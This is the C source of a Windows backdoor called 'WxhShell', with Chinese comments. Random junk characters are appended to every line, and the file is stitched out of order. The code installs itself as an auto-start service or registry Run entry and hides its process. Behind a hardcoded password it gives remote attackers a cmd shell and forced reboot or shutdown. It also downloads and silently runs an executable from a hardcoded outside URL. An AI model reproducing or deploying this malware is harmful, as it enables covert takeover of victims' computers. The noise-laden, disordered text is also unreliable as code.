  // 关机 H@|h Nn$@  
  case 'd': { .:wo ARW!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W)~}o<a)[  
    if(Boot(SHUTDOWN)) @1c[<3xJ T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g.,_E4L  
    else { Gf<f#.5y ,  
    closesocket(wsh); eVRPjVzQ'Q  
    ExitThread(0); 9_Ws8nE  
    } ,S V34+(  
    break; wk9qyv<  
    } ]K0G!TR<  
  // 获取shell BmhIKXE{*  
  case 's': { i:/Ws1=q  
    CmdShell(wsh); YP4lizs.  
    closesocket(wsh); hBRcI0R  
    ExitThread(0); fk5$z0/  
    break; ~~iFs ,9  
  } pu OAt  
  // 退出 a[ Y\5Ojm  
  case 'x': { ` zoC++hx  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z%4w{T+[  
    CloseIt(wsh); BJ*8mKi h  
    break; 1`q>*S](  
    } n=iL6Yu(  
  // 离开 =zsA@UM0  
  case 'q': { EK 8rV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); k1_" }B5  
    closesocket(wsh); N+nv#]{  
    WSACleanup(); VRQD  
    exit(1); hVGK%HCz&  
    break; @9AK!I8f  
        } ]1)#Y   
  } #E;a ;$p  
  } :k/Z|  
s2kom)  
  // 提示信息 :ceT8-PBRx  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Va-.  
} 1e)5D& njS  
  } `:*O8h~i^8  
?#0m[k&`  
  return; 0J z|BE3Y  
} GOU>j "5}2  
5sZqX.XVF  
// shell模块句柄 vxZ :l  
int CmdShell(SOCKET sock) }}X<e  
{ N@x5h8  
STARTUPINFO si; W6&mXJ^3L  
ZeroMemory(&si,sizeof(si)); fN_Ilg)t?5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ozUsp[W>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f=cj5T:[  
PROCESS_INFORMATION ProcessInfo; \N a  
char cmdline[]="cmd"; S2PPwCU  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); f+V^q4  
  return 0; /oC@:7  
} P ~rTuj  
L43]0k  
// 自身启动模式 `)n/J+g  
int StartFromService(void) ,sZ)@?e  
{ rp_Aw  
typedef struct /VHQ!Wi  
{ 4NDT5sL  
  DWORD ExitStatus; }!^`%\ %\  
  DWORD PebBaseAddress; t2_pwd*B  
  DWORD AffinityMask; B!AJ*  
  DWORD BasePriority; 8;<3Tyjzu  
  ULONG UniqueProcessId; "NvB@>S  
  ULONG InheritedFromUniqueProcessId; G_v^IM#B=  
}   PROCESS_BASIC_INFORMATION; zL=PxFw0  
,/Al'  
PROCNTQSIP NtQueryInformationProcess; s<'WTgy1i  
#McX  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; '9tV-whw  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; XJ6=Hg4_O  
N?l  
  HANDLE             hProcess; b~Un=-@5a  
  PROCESS_BASIC_INFORMATION pbi; qk_YFR?R  
['_W <  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  CT[CM+  
  if(NULL == hInst ) return 0; JWV n@)s  
|0$7{nQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `7 3I}%?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); c +N\uG4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !n`Y^  
>o4Ih^VB  
  if (!NtQueryInformationProcess) return 0; n_eN|m?@  
/c!@ H(^)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gxCl=\  
  if(!hProcess) return 0; a~w l D.P  
0NMmN_Lr  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]EfM;'j[  
9/dI 6P7  
  CloseHandle(hProcess); |*y'H*  
O`TM}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); UI_u:a9Q/  
if(hProcess==NULL) return 0; `2a7y]?  
f"aqg/l  
HMODULE hMod; Jl@YBzDfF  
char procName[255]; 8fC 5O  
unsigned long cbNeeded; D[Kq`  
0}wmBSl  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +?ilTU  
c^8csQ fG  
  CloseHandle(hProcess); {O5(O oDa  
c;doxNd6  
if(strstr(procName,"services")) return 1; // 以服务启动 R=<uf:ca  
G~{#%i  
  return 0; // 注册表启动 SGUZ'}  
} '"]QAj?N  
LDY k\[81  
// 主模块 x.ucsb  
int StartWxhshell(LPSTR lpCmdLine) w'&QNm>  
{ Q+zy\T  
  SOCKET wsl; VskdC?yIp  
BOOL val=TRUE; ~!#2s'  
  int port=0; <]'1YDA  
  struct sockaddr_in door; u69fYoB'  
~pPj   
  if(wscfg.ws_autoins) Install(); uU!}/mbo  
}]+k  
port=atoi(lpCmdLine); NflRNu:-  
9PWqoz2c  
if(port<=0) port=wscfg.ws_port; 2SJ|$VsLaE  
JB9s# `  
  WSADATA data; nD}CQ_C  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; C~c|};&%  
O=\`q6l  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   VL/KC-6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Xr]<v%,C  
  door.sin_family = AF_INET; p{w:^l(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); E#(dri*#t  
  door.sin_port = htons(port); U@"f(YL+"  
r(p@{L185  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { I0v4TjHH  
closesocket(wsl); UY/qI%#L#,  
return 1; _&K>fy3t&  
} !H4C5wDu  
!f)^z9QX8  
  if(listen(wsl,2) == INVALID_SOCKET) { Qkx}A7sK  
closesocket(wsl); bxvpj  
return 1; >36>{b<'$*  
} ?^!: Lw  
  Wxhshell(wsl); WNo<0|X  
  WSACleanup(); sO 0j!;N  
'=cAdja  
return 0; !xz{X?  
/(?,S{]  
} u$nYddak  
o>@9[F,h+  
// 以NT服务方式启动 f#| wb~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %Z { 7*jtE  
{ z99jW<*0  
DWORD   status = 0; I@l }%L  
  DWORD   specificError = 0xfffffff; N5Ih+8zT  
(laVmU?I7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3AcCa>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ' qN"!\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v<V9Z <ub  
  serviceStatus.dwWin32ExitCode     = 0; Hi#f Qji  
  serviceStatus.dwServiceSpecificExitCode = 0; LseS8F/q  
  serviceStatus.dwCheckPoint       = 0; ]C5/-J,F  
  serviceStatus.dwWaitHint       = 0; 2M*84oh8P  
{/q4W; D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G&dz<f  
  if (hServiceStatusHandle==0) return; mE"},ksg  
|\J! x|xy  
status = GetLastError(); xv~E wT)  
  if (status!=NO_ERROR) 0` UrB:  
{ DW0UcLO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; DRmN+2I  
    serviceStatus.dwCheckPoint       = 0; }D*5PV%d  
    serviceStatus.dwWaitHint       = 0; ,xuA%CF-S  
    serviceStatus.dwWin32ExitCode     = status; k?qd -_sC  
    serviceStatus.dwServiceSpecificExitCode = specificError; MznMt2-u  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ghDOz 3  
    return; ER)to<k  
  } >;Vy{bL8  
y({EF~w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Y<[jUe`O;  
  serviceStatus.dwCheckPoint       = 0; k8O%gO  
  serviceStatus.dwWaitHint       = 0; C252E  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ct0YwIR*  
} qL/XGIxL?  
a:}&v^v  
// 处理NT服务事件,比如:启动、停止 OuV f<@a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5<mGG;F  
{ sX|bp)Nw  
switch(fdwControl) 8mv}-;  
{ *."a>?D~  
case SERVICE_CONTROL_STOP: T Y*uK  
  serviceStatus.dwWin32ExitCode = 0; @Xl/<S&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V8+8?5'l  
  serviceStatus.dwCheckPoint   = 0; wfrSI:+>  
  serviceStatus.dwWaitHint     = 0; Z Ne(sg~G  
  { =SpD6 9-H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G ,? l o=m  
  } l@<yC-Xd  
  return; +WB';D  
case SERVICE_CONTROL_PAUSE: Y^9b>H\2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \Zmn!Gg  
  break; }e4#Mx  
case SERVICE_CONTROL_CONTINUE: DY?;Z98P?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Q4QF_um  
  break; YLFM3IaP  
case SERVICE_CONTROL_INTERROGATE: [FN4_  
  break; ;ep@ )Y  
}; wH0Ks5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2qe]1B;  
} a@niig  
uM74X^U  
// 标准应用程序主函数 MH h;>tw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rLJjK$_x  
{ sq1v._^s  
>%Nqgn$V  
// 获取操作系统版本 khS >  
OsIsNt=GetOsVer(); boWaH}?0'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~pve;(e=  
5_E,x  
  // 从命令行安装 ,'^^OLez  
  if(strpbrk(lpCmdLine,"iI")) Install(); j6r.HYX!  
I>(-&YbC  
  // 下载执行文件 >w)A~ F<  
if(wscfg.ws_downexe) { x'hUw*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) PBY ^m+  
  WinExec(wscfg.ws_filenam,SW_HIDE); *8#]3M]  
} 3iv;4e ;  
3{R7y  
if(!OsIsNt) { U7le> d;L  
// 如果时win9x,隐藏进程并且设置为注册表启动 7B8.;0X$W  
HideProc(); +Qo]'xKr  
StartWxhshell(lpCmdLine); Mi2l BEu,  
} uZkh.0yB  
else _MST8  
  if(StartFromService()) PR;A 0   
  // 以服务方式启动 )]P%=  
  StartServiceCtrlDispatcher(DispatchTable); Z Vj  
else 3Q_L6Wj~  
  // 普通方式启动 '?j,oRz^T  
  StartWxhshell(lpCmdLine); i)mQ?Y#o  
\*.u (8~2o  
return 0; $zYo~5M?i-  
}  SE D_^  
D?6ah=:&R  
V{+5Fas^l  
iIO_d4Z  
=========================================== &HIG776  
)9? ^;HS  
C Ch38qBp  
8zWKKcf7t  
GjGt' m*  
l>iE1`iL<  
" #oQDt'  
XWNDpL`j5  
#include <stdio.h> } D0Y8  
#include <string.h> <Q|(dFr`v  
#include <windows.h> 5Ff1x-lQ  
#include <winsock2.h> v dR6y  
#include <winsvc.h> '>0rp\jC  
#include <urlmon.h> >+ E  
`6BjNV  
#pragma comment (lib, "Ws2_32.lib") SJ;Kjq.Qo  
#pragma comment (lib, "urlmon.lib") %X>P+6<=  
 1@p'><\  
#define MAX_USER   100 // 最大客户端连接数 M@?,nzs K  
#define BUF_SOCK   200 // sock buffer ?K/N{GK%{  
#define KEY_BUFF   255 // 输入 buffer ITf, )?|]Y  
\Cz uf   
#define REBOOT     0   // 重启 dlB?/J<  
#define SHUTDOWN   1   // 关机 (cLcY%$  
kjOPsz*0  
#define DEF_PORT   5000 // 监听端口 p5PTuJ>q  
pJ ;4rrSK  
#define REG_LEN     16   // 注册表键长度 |\iJ6m;a  
#define SVC_LEN     80   // NT服务名长度 3,4m|Z2)  
fx `oe  
// 从dll定义API B jsF5~+\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jpI=B  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wrmbOT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $(JB"%S8c  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9m:G8j'  
t!JD]j>q  
// wxhshell配置信息 >wJt# ZB  
struct WSCFG { (HD=m, }  
  int ws_port;         // 监听端口 pR*)\@ma  
  char ws_passstr[REG_LEN]; // 口令 "? t@Y  
  int ws_autoins;       // 安装标记, 1=yes 0=no <oP"kh<D4  
  char ws_regname[REG_LEN]; // 注册表键名 "2a&G3}t"  
  char ws_svcname[REG_LEN]; // 服务名 AKkr )VgY  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |ZBHXv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \]gUX-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 wjnQK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no LYvjqNC&4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !3 j@gi2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pXBlTZf  
Z{gJm9  
}; 7m +d;x2  
4kqgZtg.  
// default Wxhshell configuration %L;;W,l$`)  
struct WSCFG wscfg={DEF_PORT, ]f< H?  
    "xuhuanlingzhe", wdzZ41y1  
    1, ;;; {<GEQ  
    "Wxhshell", +rcDA|  
    "Wxhshell", UxS@]YC  
            "WxhShell Service", 5^+QTQ  
    "Wrsky Windows CmdShell Service", (iO8[  
    "Please Input Your Password: ", 9u2Mra  
  1, c[RkiV3  
  "http://www.wrsky.com/wxhshell.exe", _(.,<R5  
  "Wxhshell.exe" 0z1UF{{  
    }; )|SmB YV  
:*0l*j  
// 消息定义模块 =SqI# v  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7B| #*IZe  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vE=)qn=a  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?O!'ZZX  
char *msg_ws_ext="\n\rExit."; '}|sRuftb  
char *msg_ws_end="\n\rQuit."; `PVr;&  
char *msg_ws_boot="\n\rReboot..."; {u4=*> ?G  
char *msg_ws_poff="\n\rShutdown..."; s)<^YASg  
char *msg_ws_down="\n\rSave to "; m\O|BMHn  
c2iPm9"eh  
char *msg_ws_err="\n\rErr!"; 3$Y(swc  
char *msg_ws_ok="\n\rOK!"; ,j|9Bs  
JVx ,1lth  
char ExeFile[MAX_PATH]; uv$t>_^  
int nUser = 0; ? pkg1F7  
HANDLE handles[MAX_USER]; c5f8pa *  
int OsIsNt; M^twD*  
*'&mcEpg  
SERVICE_STATUS       serviceStatus; Rz_fNlA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; JDA:)[;  
asQXl#4r  
// 函数声明 @ a?^2X^  
int Install(void); ; M%n=+[O  
int Uninstall(void); EX.`6,:+2  
int DownloadFile(char *sURL, SOCKET wsh); fZ)M Dq  
int Boot(int flag); se:lKZZ]  
void HideProc(void); =|_{J"sv  
int GetOsVer(void); *#n?6KqZ  
int Wxhshell(SOCKET wsl); 4gRt^T-?  
void TalkWithClient(void *cs); RO10$1IW.2  
int CmdShell(SOCKET sock); u_~*)w+mS@  
int StartFromService(void); },@1i<Bb  
int StartWxhshell(LPSTR lpCmdLine); A,4|UA?-  
d l<7jM?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ka$YKY,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [EX@I =?  
b9(_bsc  
// 数据结构和表定义 q=H dGv  
SERVICE_TABLE_ENTRY DispatchTable[] = +dIO+(&g  
{ Vs0T*4C=n  
{wscfg.ws_svcname, NTServiceMain}, P$=BmBq18`  
{NULL, NULL} ?%Pd:~4D  
}; @! gJOy  
Hi{1C"%  
// 自我安装 (E.,kcAJ  
int Install(void) f 4Yn=D=_  
{ Q#} 0pq  
  char svExeFile[MAX_PATH]; Cb5Rr +K=  
  HKEY key; C ~&~Ano,  
  strcpy(svExeFile,ExeFile); )`sEdVxbr  
L9G xqw  
// 如果是win9x系统,修改注册表设为自启动 OE=]/([  
if(!OsIsNt) { snW=9b)m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tAM t7p-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~H)s>6>#v  
  RegCloseKey(key); \ $PB~-Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @D3Y}nR:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N7b+GqYpF>  
  RegCloseKey(key); e{<r<]/j  
  return 0; +v7mw<6s  
    } fA k]]PU  
  } ^lp#j;Df  
} nhm)P_p   
else { e[(XR_EY  
mEUdJvSG(  
// 如果是NT以上系统,安装为系统服务 0L5 n<<7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); os3jpFeG'  
if (schSCManager!=0) S3G9/  
{ \9%SR~  
  SC_HANDLE schService = CreateService &H`AS6  
  ( >)&]Ss5J  
  schSCManager, TI9]v(  
  wscfg.ws_svcname, :E>" z6H  
  wscfg.ws_svcdisp, HL^+:`,  
  SERVICE_ALL_ACCESS, tlnU2TT_f  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0E5"}8  
  SERVICE_AUTO_START, *88Q6=Mm  
  SERVICE_ERROR_NORMAL, aBN^J_  
  svExeFile, :=iP_*#  
  NULL, M!9gOAQP  
  NULL, U>,E]'  
  NULL, ka^sOC+Y  
  NULL, K9*vWoP'  
  NULL ^4\h Z  
  ); c8^M::NI  
  if (schService!=0) $@[`v0y*  
  { c89+}]mGq  
  CloseServiceHandle(schService); ds*N1[ *  
  CloseServiceHandle(schSCManager); zv^km5by  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); DhVF^=x$  
  strcat(svExeFile,wscfg.ws_svcname); R@+%~"Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { X &z|im'd  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /mM#nS  
  RegCloseKey(key); o<Esh;;*nm  
  return 0; -Dx_:k|k  
    } %l#i9$s  
  } T;f`ND2fY  
  CloseServiceHandle(schSCManager); 94>EA/+Ek  
} i1OF @~?  
} 4DYa~ =w  
KXQ &u{[<  
return 1; 7j ]d{lD  
} %]2hxTV  
t 8}R?%u  
// 自我卸载 r\+0J`  
int Uninstall(void) vSOO[.=  
{ c,K)*HB  
  HKEY key; Zt;dPYq>  
%a_ rYrL  
if(!OsIsNt) { (SEE(G35  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bK\Mn95]  
  RegDeleteValue(key,wscfg.ws_regname); |[RoR  
  RegCloseKey(key); YPV@/n[N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Vw^2TRU  
  RegDeleteValue(key,wscfg.ws_regname); T ke3X\|  
  RegCloseKey(key); CWTPf1?eB  
  return 0; x'4q`xDa  
  } 3?do|>  
} [dQL6k";b  
} kgq"b)  
else { Xiy9Oeq2uh  
<? Z[X{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \ r^#a  
if (schSCManager!=0) |8bqn^@$t  
{ zA ; 7Nv$3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \I@hDMqv  
  if (schService!=0) / bxu{|.  
  { &y7<h>z  
  if(DeleteService(schService)!=0) { e;*GbXd|  
  CloseServiceHandle(schService); ,v#F6xv8  
  CloseServiceHandle(schSCManager); X\ -IAv  
  return 0; [{i"Au]  
  } 1&,d,<  
  CloseServiceHandle(schService); + Z7 L&BI  
  } ,[} XK9  
  CloseServiceHandle(schSCManager); ,R-T( <r  
} 0gLl>tF[H  
} _i/x4,=xv  
(mNNTMe  
return 1; 0:CIM  
} a7]wPXKq  
nRE(Rb Re  
// 从指定url下载文件 .qN|.:6a  
int DownloadFile(char *sURL, SOCKET wsh) Yq$KYB j  
{ <r@w`G  
  HRESULT hr; xF#'+Y  
char seps[]= "/"; H n^)Xw  
char *token; *&=sL  
char *file; u . xUM  
char myURL[MAX_PATH]; k Y}r^NaQA  
char myFILE[MAX_PATH]; [1LlzCAFBw  
pM|m*k  
strcpy(myURL,sURL); DR%16y<h  
  token=strtok(myURL,seps); W RBCNra  
  while(token!=NULL) ZM6`:/lc  
  { K+s@.D9J  
    file=token; SU,#:s(  
  token=strtok(NULL,seps); ^n@dC?  
  } 5~pQ$-  
1 +0-VRl  
GetCurrentDirectory(MAX_PATH,myFILE); >8* 0"Q  
strcat(myFILE, "\\"); U '$W$()p  
strcat(myFILE, file); HGwSsoS  
  send(wsh,myFILE,strlen(myFILE),0); Q{:5gh  
send(wsh,"...",3,0); c*k%r2'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]T?Py)  
  if(hr==S_OK) 8JFns-5  
return 0; <Lt%[dn  
else ]52.nxs~  
return 1; MJzY|  
x$:P;#  
} --> ~<o  
g5YDRL!Wh  
// 系统电源模块 #80 [q3  
int Boot(int flag) _K4E6c_  
{ 5}+&Em":  
  HANDLE hToken; ,Vc>'4E-  
  TOKEN_PRIVILEGES tkp; I<``d Ne9Q  
9tMaOm  
  if(OsIsNt) { ^%qe&Pe2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :pp@x*uNP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Fu z'!  
    tkp.PrivilegeCount = 1; +n)_\@aQ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !jySID?q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ZNKopA(=|%  
if(flag==REBOOT) { r*r3QsO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) js$L<^7  
  return 0; _,ki/7{  
} xsO "H8  
else { FJ/c(K  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -PG81F&K  
  return 0; ^D%hKIT  
} &tJ!cTA.-  
  } ;!C~_{/t  
  else { *3Vic  
if(flag==REBOOT) { P4VMGP  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1Mtm?3Pt  
  return 0; t++ a  
} F?Fs x)2k  
else { N| N#-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F YLBaN  
  return 0; UyUz_6J  
} +wHrS}I#g  
} %3:[0o={d  
J-k/#A4o  
return 1; K!+IRA@  
} Y6Mp[=  
C9FzTg/c  
// win9x进程隐藏模块 vT&) 5nN  
void HideProc(void) auai@)v6  
{ ;usR=i36b  
`q$a p$?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +W7#G `>  
  if ( hKernel != NULL ) <b,oF]+;z  
  { =-m"y~{>3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "C/X#y   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &Rp/y%9  
    FreeLibrary(hKernel); )ZQ>h{}D  
  } gic!yhsS_  
]_EJ "'x  
return; \,ko'4 8@  
} B*3<(eI  
,pHQv(K/  
// 获取操作系统版本 qk *b,`;  
int GetOsVer(void) l2*o@&.  
{ ' O+)[D  
  OSVERSIONINFO winfo; MV?#g-5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); SqosJ}K  
  GetVersionEx(&winfo); %S$+ 3q%F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) H5)8TR3La  
  return 1; (oxMBd+n1  
  else 0zHMtC1 ,  
  return 0; z#|tcHVFT  
} G &QGQ  
/7CV7=^d,  
// 客户端句柄模块 G(fS__z  
int Wxhshell(SOCKET wsl) b3M`vJ+{  
{ GpZ}xY'|w,  
  SOCKET wsh; @4]} J-3  
  struct sockaddr_in client; JGRL&MG4  
  DWORD myID; tZL {;@  
nc[Kh8N9  
  while(nUser<MAX_USER) xo.k:F  
{ zAkF:^#Y  
  int nSize=sizeof(client); O}3|UI!`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >oGs0mej  
  if(wsh==INVALID_SOCKET) return 1; B'D\l\w  
Gv+$7{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `bJ?8~ 8 *  
if(handles[nUser]==0) k E},>+W+  
  closesocket(wsh); +}eH,  
else k5@PZFV  
  nUser++; h0oe'Xov  
  } b9Mp@I7Q-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E rrs6  
crbph.0  
  return 0; /=K(5Xd  
} v1VH&~e  
6BdK)s  
// 关闭 socket AeR*79x  
void CloseIt(SOCKET wsh) @j`gx M_-O  
{ ?e#bq]  
closesocket(wsh); xiy=D5N.=  
nUser--; *w`_(X f  
ExitThread(0); s|[CvjL#0  
} w\zNn4B})A  
+/n<]?(T  
// 客户端请求句柄 _PPn =kuMa  
void TalkWithClient(void *cs) EGysA{o"X  
{ UGDB4S  
Ow50M;E  
  SOCKET wsh=(SOCKET)cs; WI6h G  
  char pwd[SVC_LEN]; X8\UTHT& 0  
  char cmd[KEY_BUFF]; { u %xc"0y  
char chr[1]; %}}?Y`/W )  
int i,j; x+8%4]u`  
5rH?FQE  
  while (nUser < MAX_USER) { ^r@,(r6w  
`Fx+HIng,  
if(wscfg.ws_passstr) { .2{*>Dzi  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +:kMYL3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Jq*Q;}n  
  //ZeroMemory(pwd,KEY_BUFF); jYk5]2#A  
      i=0; WYm<_1  
  while(i<SVC_LEN) { ^u:bgwP  
{` ByZB  
  // 设置超时 \#!B*:u  
  fd_set FdRead; U62Z ?nge%  
  struct timeval TimeOut; <%N*IE"q  
  FD_ZERO(&FdRead); n/ZX$?tKAK  
  FD_SET(wsh,&FdRead); -A^o5s  
  TimeOut.tv_sec=8; u10;qYfL8o  
  TimeOut.tv_usec=0; !B v.@~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +yI2G! $T9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @+7CfvM  
~5>k_\ G8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T"/dn%21  
  pwd=chr[0]; ] B?NDxU  
  if(chr[0]==0xd || chr[0]==0xa) { v|R#[vtFd  
  pwd=0; 8bdx$,$k  
  break; q&2L@l3A  
  } RpwDOG  
  i++; <<PXh&wu0  
    } t\WU}aKML  
~~3*o  
  // 如果是非法用户,关闭 socket :(YFIW`59  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); INEE 37%  
} pnTz.)'46  
fXSuJ<G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u&Yd+');  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "$.B@[iY@  
[0!*<%BgK'  
while(1) { kjF4c6v  
}t*:EgfI  
  ZeroMemory(cmd,KEY_BUFF); +GEdVB  
X#o<))  
      // 自动支持客户端 telnet标准   ? =I']$MH  
  j=0; =9;b|Y"aQ  
  while(j<KEY_BUFF) { >VppM  `  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +E']&v$  
  cmd[j]=chr[0]; iXLH[uhO;  
  if(chr[0]==0xa || chr[0]==0xd) { y9U~4  
  cmd[j]=0; Tm2+/qO,  
  break; *z^Au7,&  
  }  s&iu+>  
  j++; kkIG{Bw  
    } x~ID[  
AquO#A[,#  
  // 下载文件 f\?1oMO\  
  if(strstr(cmd,"http://")) { bO* hmDt  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); v0(_4U]/  
  if(DownloadFile(cmd,wsh)) 2O}X-/H  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0j2mTF(C  
  else [QIQpBL  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sJMpF8   
  } ; o(:}d  
  else { 'vV+Wu#[  
JkQ\r$ Y.  
